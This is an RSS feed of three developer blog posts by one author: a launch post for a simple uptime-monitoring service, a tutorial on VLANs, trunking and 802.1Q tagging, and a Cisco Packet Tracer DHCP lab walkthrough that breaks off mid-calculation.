<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Alisson</title>
    <description>The latest articles on DEV Community by Alisson (@shahahaco).</description>
    <link>https://dev.to/shahahaco</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F1162194%2F16517b2b-1960-418d-8f13-21273d394b7b.png</url>
      <title>DEV Community: Alisson</title>
      <link>https://dev.to/shahahaco</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/shahahaco"/>
    <language>en</language>
    <item>
      <title>I launched my own service monitor (with a focus on simplicity and agility)</title>
      <dc:creator>Alisson</dc:creator>
      <pubDate>Thu, 24 Apr 2025 20:15:49 +0000</pubDate>
      <link>https://dev.to/shahahaco/i-launched-my-own-service-monitor-with-a-focus-on-simplicity-and-agility-3c9p</link>
      <guid>https://dev.to/shahahaco/i-launched-my-own-service-monitor-with-a-focus-on-simplicity-and-agility-3c9p</guid>
      <description>&lt;h2&gt;
  
  
  The beginning
&lt;/h2&gt;

&lt;p&gt;Over the past few months, I’ve realized that one of the things that bothers me most as a dev is not knowing when one of my services goes down.&lt;br&gt;
It might sound silly, but it’s frustrating to find out hours later — or worse, from someone else.&lt;/p&gt;

&lt;p&gt;I’ve tried a few well-known monitoring tools, and while they do work, I always felt like they were doing way too much for something that should be simple:&lt;br&gt;
&lt;strong&gt;"Is the service up or not?"&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;That’s when I decided to build something of my own. Nothing too ambitious at first — I just wanted a minimal solution that could notify me quickly, without huge dashboards or 50 different settings.&lt;/p&gt;

&lt;p&gt;And that’s how ServiceIsUp was born.&lt;br&gt;
It started as a small side project out of necessity, but ended up growing more than I expected.&lt;br&gt;
In this post, I just want to share how it started, what it does today, and maybe hear what you would’ve done differently if it were your project.&lt;/p&gt;
&lt;h2&gt;
  
  
  A little after the beginning
&lt;/h2&gt;

&lt;p&gt;The very first version of ServiceIsUp was literally just a script running on a cron job that pinged a few URLs and sent me a message on Telegram if something failed. Rough and functional.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Like this&lt;/em&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;class Controller:
    def __init__(self, location):
        # query batch size
        self.query_limit = 500
        # list size of messages to send to broker
        self.messages_list_size = 100


        self.location = location
        self.cache_lock_key = f'query_lock_controller_{self.location.name}'
        self.cache_lock_timeout = 60
        self.lock_time = timezone.now()

    def send_messages(self, messages):
        try:
            broker_conn = Broker(
                broker_host=env.broker_host,
                broker_port=env.broker_port, 
                broker_user=env.broker_user,
                broker_pass=env.broker_pass
            )
        except Exception as e:
            raise Exception(f"Error to init broker connection: {e}")

        broker_conn.connect()
        for message in messages:
            message_json = json.dumps(message['message'])
            broker_conn.set_queue(message['queue'])
            broker_conn.send_message(message_json)
        broker_conn.close()

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;But as I kept using it, I realized there was room to make it look nicer. Simple things, like:&lt;/p&gt;

&lt;p&gt;Setting up multiple services easily.&lt;/p&gt;

&lt;p&gt;Seeing the check history.&lt;/p&gt;

&lt;p&gt;Having a minimal interface (just the essentials).&lt;/p&gt;

&lt;p&gt;Choosing where I want to get alerts (email, Telegram, WhatsApp...).&lt;/p&gt;

&lt;p&gt;And that’s when the fun began—turning my little project into something usable by other people, not just me.&lt;br&gt;
I created a basic dashboard, set up a simple API, added an authentication system... and without even realizing it, I ended up with a mini SaaS 😅&lt;/p&gt;

&lt;p&gt;Today, the main flow it basically this:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;You register a site or endpoint (HTTP/HTTPS).&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Set how often you want to check (e.g., every minute).&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Choose how you want to be notified (email, Telegram, etc.).&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Choose the status you expect to be returned(e.g., 201, 307, 404...)&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;and there you go&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fn7qv3m10ysnq9fl7sp2o.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fn7qv3m10ysnq9fl7sp2o.png" alt="A service that was offline for a day because of a bad Ngnix configuration (for real)" width="800" height="289"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Nothing revolutionary, I know—but for anyone who just wants to know if the service is up or down, it works. And fast.&lt;/p&gt;

&lt;p&gt;Oh, and the best part: since I built it, I know exactly where to tweak things if something breaks (which, in the world of external tools, isn’t always that simple).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;But wait a minute, you're probably wondering "Why would anyone use this when they have Prometheus, Grafana and Zabbix free to use?"&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Well, that's a fair question! Those tools are awesome — they're powerful, highly customizable, and great for complex setups. But here's the thing: sometimes, you just don’t need all that firepower. Sometimes, all you need is a simple solution to check if your service is up and running, without diving into detailed metrics or setting up a whole infrastructure.&lt;/p&gt;

&lt;p&gt;Imagine this: &lt;em&gt;You want to know if your website or API is online, and you'd like an alert if something goes wrong&lt;/em&gt;. You don't need dashboards with CPU usage, memory stats, or latency graphs. You just want to know, ‘Is it working? Yes or no?’ That’s where my system comes in. It’s straightforward, no fluff, and it doesn’t come with the complexity of setting up and maintaining an entire monitoring ecosystem with tons of GB of data. It’s like choosing a Swiss Army knife over a cannon. Both can do the job, but you’re not going to use a cannon to hit a target 10 feet away, right? Since ServiceIsUP is 100% cloud-based, you don't have to worry about RAM, storage, threads, race conditions, you can focus only in your business.&lt;/p&gt;

&lt;p&gt;*hint: *If you're dealing with complex, large-scale systems, sure, Prometheus, Grafana, and Zabbix are fantastic.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fx37zp4v85ad6ydqtd78g.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fx37zp4v85ad6ydqtd78g.png" alt="Basic Dashboard" width="800" height="394"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;For example, instead of setting up a new server for observability with Prometheus, Grafana and HAproxy, dealing with storage, compressing query backups and sending them to S3 or another equivalent storage service, this user simply registered his 12 URLs in a few minutes without writing a single line of code and is now ready to view response time and uptime metrics, receive alerts from various channels with personalized messages when a service fluctuates, has a higher than normal response time or goes down.&lt;/p&gt;

&lt;p&gt;Of course, other solutions are extreme scalable, but this scalability requires considerable effort to set up and maintain. ServiceIsUp provides the scalability you need to add new services, users and alerts as you grow, but without the need to manage clusters or load balancing. You can easily add and monitor new endpoints or services without significant effort.&lt;/p&gt;

&lt;p&gt;The user have the freedom to create as many alerts as he want, including any message, whether it be an instruction message or delegating who or which team will deal with the situation. Use your creativity within the context you are in.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fh352wjufjgm9wey6agwk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fh352wjufjgm9wey6agwk.png" alt="Basic Alert" width="800" height="288"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;You can also choose who you receive that alert.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9fn2d5gguzet4jx1d5bn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9fn2d5gguzet4jx1d5bn.png" alt="Choosing who will receive the alert" width="800" height="288"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;So, whether you're managing a small personal project or just want a straightforward solution to keep an eye on your services, ServiceIsUp is designed to save you time and effort without the need for complex setups. If you don’t want to deal with the overhead of configuring large monitoring systems, and just need quick, reliable alerts — this is the tool for you.&lt;/p&gt;

&lt;p&gt;If you're tired of getting lost in dashboards and configurations, or if you just want to make sure your service stays up without all the fuss, give ServiceIsUp a try. It’s simple, efficient, and built to help you focus on what really matters: your business.&lt;/p&gt;

&lt;p&gt;Ready to get started? Head over to &lt;a href="https://serviceisup.com/" rel="noopener noreferrer"&gt;start&lt;/a&gt;. Set up your first alert in minutes — no server setup, no hassle.&lt;/p&gt;

&lt;p&gt;You can also use the coupon code &lt;strong&gt;DEVTO&lt;/strong&gt; to get $12 off your first 3 months, with access to all features.&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>observability</category>
      <category>showdev</category>
    </item>
    <item>
      <title>Understanding network virtualization and how it helps in day-to-day infrastructure.</title>
      <dc:creator>Alisson</dc:creator>
      <pubDate>Fri, 26 Jul 2024 21:47:10 +0000</pubDate>
      <link>https://dev.to/shahahaco/understanding-network-virtualization-and-how-it-helps-in-day-to-day-infrastructure-18e8</link>
      <guid>https://dev.to/shahahaco/understanding-network-virtualization-and-how-it-helps-in-day-to-day-infrastructure-18e8</guid>
      <description>&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;Hi everyone, hope everyone is okay, before we dive into what a &lt;strong&gt;VLANs&lt;/strong&gt; is, we need to understand what a LAN is. A &lt;strong&gt;Local Area Network&lt;/strong&gt; (LAN) is simply a local network of devices, usually implemented in home or business settings, and is characterized by its simplicity compared to other types of networks. A standout feature of a LAN is the presence of a single broadcast domain, meaning a packet is delivered to all elements in the network.&lt;/p&gt;

&lt;p&gt;When a &lt;em&gt;switch&lt;/em&gt; operates in its default mode, &lt;strong&gt;it unifies all its network interfaces into the same broadcast domain&lt;/strong&gt;. So, if we wanted two separate broadcast domains, we would need two switches, one for each domain. Additionally, if we wanted these two domains to communicate with each other, we would need a &lt;em&gt;router&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fo9ixsvvcaw668hqpmrtw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fo9ixsvvcaw668hqpmrtw.png" alt="Different LANs" width="640" height="422"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In a local network that needs to be segmented into different parts, like a home network with separate domains for parents and children, or a small business network divided by departments such as HR, Sales, and Finance, using multiple network devices—such as one switch for each domain—would not only increase infrastructure costs but also complicate maintenance. This is where VLANs come into play. VLANs offer a way to segment the network efficiently, both technically and financially.&lt;/p&gt;

&lt;h2&gt;
  
  
  VLAN
&lt;/h2&gt;

&lt;p&gt;When we implement a VLAN, we can virtualize smaller networks into subnets that share the same switch. This way, the networks remain isolated from each other, gaining the benefits of separate networks while reducing implementation costs since these VLANs use the same networking equipment.&lt;/p&gt;

&lt;p&gt;Benefits of virtualization:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Reduced Processing&lt;/strong&gt;: With fewer devices on the network, broadcast transmissions become less frequent, which means fewer unnecessary frames are received.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Security&lt;/strong&gt;: By reducing the frequency of broadcast packets, the likelihood of information leaks is also minimized.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;&lt;em&gt;hint&lt;/em&gt;&lt;/strong&gt;: It's important to note that you can implement firewalls between VLANs, which significantly mitigates unwanted access.&lt;/p&gt;

&lt;p&gt;When we want to virtualize multiple networks on a single switch, we just need to configure each port to its respective VLAN. This way, logical addressing for packets is applied, and the network is segmented accordingly.&lt;/p&gt;

&lt;h2&gt;
  
  
  Trunking
&lt;/h2&gt;

&lt;p&gt;For VLANs that span multiple switches, the process is a bit different, and understanding trunking is essential.&lt;/p&gt;

&lt;p&gt;In some cases, to ensure connection redundancy, we need to connect two switches to each other. This helps mitigate the risk of data loss during network communication.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fed50y0q45rhgul1oigpv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fed50y0q45rhgul1oigpv.png" alt="Two redundant switches connecting two vlans" width="593" height="422"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Although usable, this model isn't very efficient because it essentially returns to a 1:1 relationship between VLANs and ports. For example, if you created 20 VLANs, you'd need 20 ports on each switch to handle the connections.&lt;/p&gt;

&lt;p&gt;To reduce complexity and data processing costs in such a network, a technique called &lt;strong&gt;Trunking&lt;/strong&gt; is used.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fapm77cl7ncj3pkcl6kq5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fapm77cl7ncj3pkcl6kq5.png" alt="Trunking" width="593" height="422"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Trunking&lt;/strong&gt; allows two or more switches to send frames for multiple VLANs between each other through a single cable. This is possible because the switch adds a small piece of information to the frame's header to indicate the VLAN to which the frame belongs. This process is known as &lt;strong&gt;tagging&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Through &lt;strong&gt;tagging&lt;/strong&gt;, the frame's header includes information such as:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fl5mt8bfma3jpowgmysgt.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fl5mt8bfma3jpowgmysgt.png" alt="TAgged block" width="593" height="282"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;em&gt;hint&lt;/em&gt;&lt;/strong&gt;: 802.1Q standard.&lt;/p&gt;

&lt;p&gt;This frame, as shown in the figure, has 4 bytes distributed as follows:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;TPID&lt;/strong&gt; (Tag Protocol Identifier): 2 bytes&lt;br&gt;
Tag Protocol Identifier with 16 bits. Its main function is to indicate that the frame it is inserted into is tagged and requires special handling.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;TCI&lt;/strong&gt; (Tag Control Information): 2 bytes, also 16 bits, but divided into three parts:&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;PCP&lt;/strong&gt; (Priority Code Point): This field has 3 bits and maps the priority of the frame. Depending on the priority, it requires different handling at the data link layer.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;DEI&lt;/strong&gt; (Drop Eligible Indicator): This field has 1 bit and indicates whether the frame can be dropped in case of congestion or not. It can be combined with the PCP information to produce different effects, but it is generally interpreted on its own.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;VID&lt;/strong&gt; (VLAN Identifier): This field has 12 bits and specifies which VLAN the frame belongs to. An important detail about this field is that its values are binary but represented in decimal form between 0 and 4095. When the VID value is 0, it means that there is no VLAN ID, and only the priority is specified using the previous fields.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;"Why does this happen?"&lt;/p&gt;

&lt;p&gt;Some networks may have switches that do not support trunking. In such cases, a special VLAN called the Native VLAN is designated. This VLAN serves as a fallback when a network device receives a tagged frame but cannot interpret it. In this situation, the frame is forwarded to the Native VLAN as a regular frame, and the Native VLAN will decide what to do with it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Packet Forwarding Between VLANs
&lt;/h2&gt;

&lt;p&gt;When we split a network into two virtualized networks, the switch is logically divided into two, meaning that frames from VLAN1 are not naturally forwarded to VLAN2 and vice versa.&lt;/p&gt;

&lt;p&gt;But what if we need to send a packet from VLAN1 to VLAN2?&lt;/p&gt;

&lt;p&gt;In addition to trunking, we can use packet routing. By implementing a router in our network, we offload the workload, with the switch handling Layer 2 (Data Link) and the router handling Layer 3 (Network). This introduces the use of TCP/IP in the network, as we now have routing between different networks.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;em&gt;hint&lt;/em&gt;&lt;/strong&gt;: Different VLANs should use different subnets.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Common Errors:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If a network administrator creates two VLANs with the same subnet, as shown in the figure below:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnld628n13zfzggh8sz9d.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnld628n13zfzggh8sz9d.png" alt="Bad address distribution" width="593" height="464"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;When a host sends a packet to a host in another VLAN, for example, Host A to Host C, Host A marks the packet to be sent through VLAN1, assuming the destination machine is in the same IP range. The switch then thinks, "I received an ARP request from VLAN1, so I should only propagate this packet within VLAN1." Since the destination machine is not in this VLAN, Host A will never be able to communicate with Host C.&lt;/p&gt;

&lt;p&gt;If the administrator separates the VLANs into two different IP networks, as shown in the figure below:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8mqi5vketmmkwrxmhzor.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8mqi5vketmmkwrxmhzor.png" alt="Correct IP distribution" width="593" height="464"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;em&gt;hint&lt;/em&gt;&lt;/strong&gt;: vlans should not be configured with networks of different classes, this is bad practice, the examples provided are for illustrative purposes only.&lt;/p&gt;

&lt;p&gt;Host A realizes that the destination is not within its own network because it has a different IP range. Therefore, the packet is not sent via broadcast but instead forwarded to the network gateway. The switch then knows to send the packet to another VLAN via trunking or to the router. This way, Host A can communicate with Host C easily, avoiding unnecessary traffic on the broadcast channel.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Thanks everyone for reading, keep in mind that getting a grip on VLANs and how they work can really boost your network’s efficiency and security. By using trunking, you can manage multiple VLANs over a single link without any hassle. And when you need to get traffic between VLANs, routing and gateways have got you covered, keeping that broadcast traffic in check and your network running smoothly.&lt;/p&gt;

&lt;p&gt;Got more questions or need some extra info on VLANs, trunking, or routing? Just drop a comment!&lt;/p&gt;

</description>
      <category>network</category>
      <category>computerscience</category>
      <category>security</category>
    </item>
    <item>
      <title>How the DHCP protocol works, from theory to practice.</title>
      <dc:creator>Alisson</dc:creator>
      <pubDate>Mon, 11 Mar 2024 04:19:13 +0000</pubDate>
      <link>https://dev.to/shahahaco/how-the-dhcp-protocol-works-from-theory-to-practice-5h4i</link>
      <guid>https://dev.to/shahahaco/how-the-dhcp-protocol-works-from-theory-to-practice-5h4i</guid>
      <description>&lt;h2&gt;
  
  
  Understanding the DHCP protocol
&lt;/h2&gt;

&lt;p&gt;Good morning, good afternoon, and good evening, everyone. First of all, I would like to apologize for my absence over the last two months. I had several important work commitments, but I'm back now with content of utmost importance for deepening our understanding of computer networks. Today, we'll be discussing the DHCP protocol, as we always do: theory first, followed by &lt;em&gt;PRACTICE!!&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;Contrary to what some people may think, the DHCP protocol is not only responsible for intelligently distributing IP addresses; it is also responsible for various configurations such as network mask, sub-net mask, and so on.&lt;/p&gt;

&lt;p&gt;Next, we will proceed to a laboratory session using &lt;a href="https://www.packettracernetwork.com/download/download-packet-tracer.html"&gt;Cisco Packet Tracer&lt;/a&gt; to configure a DHCP server and gain a deep understanding of how this protocol operates.&lt;/p&gt;

&lt;h3&gt;
  
  
  Creating our network.
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0m1h5vabngsp1rtp73sc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0m1h5vabngsp1rtp73sc.png" alt="Creating a network" width="800" height="607"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Initially, we will add four standard computers, a network switch, and a server that will serve as the host for our DHCP server.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Hint:&lt;/strong&gt;To recap, the switch is the device responsible for acting as a bridge between data flows, where it receives data in a centralized manner and forwards it to the next destination. Within the OSI model, the switch operates at the Data Link layer (the layer responsible for facilitating local communication, organizing data into small encapsulated groups, which are then directed to the next layer).&lt;/p&gt;

&lt;p&gt;We will now check the IP settings of our machine 'PC-PT-PC0'. To do this, simply:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Double click on the "PC-PT-PC0"&lt;/li&gt;
&lt;li&gt;Select the option "Ip Configuration"&lt;/li&gt;
&lt;li&gt;Select the option "Desktop"&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fktlla2x3bkasiq8eq4w7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fktlla2x3bkasiq8eq4w7.png" alt="Default DHCP configuration" width="800" height="800"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;When selecting the "DHCP" option, our machine will search the network for a DHCP server that will provide its network configurations. Since our server does not yet exist, the machine will obtain a private IP address, indicated by the beginning of the address "168...", and the message "DHCP failed, APIPA is being used" will be displayed.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;APIPA&lt;/em&gt; stands for 'Automatic Private IP Addressing' and indicates that an IP address within the CIDR range 169.254.0.0/16 has been assigned to that machine. This addressing allows the host in question to communicate only locally with other machines, as per internet regulatory standards, as a private IP address cannot be routed to the global network.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Hint:&lt;/strong&gt;When your internet is failing and you want to check if there is an error in your router, in general you can check your IP address, if your address is private, your router probably has a problem and your operator needs to be contacted.&lt;/p&gt;

&lt;h3&gt;
  
  
  Configuring our server.
&lt;/h3&gt;

&lt;p&gt;To begin our DHCP configuration, we can access our 'server' element with a double-click and arbitrarily assign a valid IP address to it. For instance, I'll use the 192.168.0.0/24 range, but you can use any range you prefer.&lt;/p&gt;

&lt;p&gt;Following the same path &lt;code&gt;desktop -&amp;gt; Ip configuration&lt;/code&gt;, we will see the screen below.&lt;/p&gt;

&lt;p&gt;We will add our IP address (192.168.0.1), and our sub-net mask will be automatically included.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffkdm2dzlnpayl04zomtx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffkdm2dzlnpayl04zomtx.png" alt="DHCP server configuration" width="800" height="811"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Next, we will go to the &lt;em&gt;Services&lt;/em&gt; tab, where we will name our server and configure some additional parameters.&lt;/p&gt;

&lt;p&gt;Our default gateway and DNS server will be the server itself, meaning they should have the same IP address as the server.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fee8kkjlpb6f2wn9fp7th.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fee8kkjlpb6f2wn9fp7th.png" alt="Services" width="800" height="800"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Attention is required for these two fields:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;&lt;strong&gt;Start IP Address&lt;/strong&gt; and &lt;strong&gt;Maximum Number of Users&lt;/strong&gt;&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbezozs5hacq1qd8524u7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbezozs5hacq1qd8524u7.png" alt="Attention fields" width="800" height="807"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;First, let's review the calculation of the number of possible IP addresses in our selected CIDR.&lt;/p&gt;

&lt;p&gt;Our network has the sub-net mask '/24'. This calculation is done using the following equation:&lt;/p&gt;

&lt;p&gt;N = 2^(32-CIDR) - 2.&lt;/p&gt;

&lt;p&gt;Since our network has a /24 range, we'll have:&lt;br&gt;
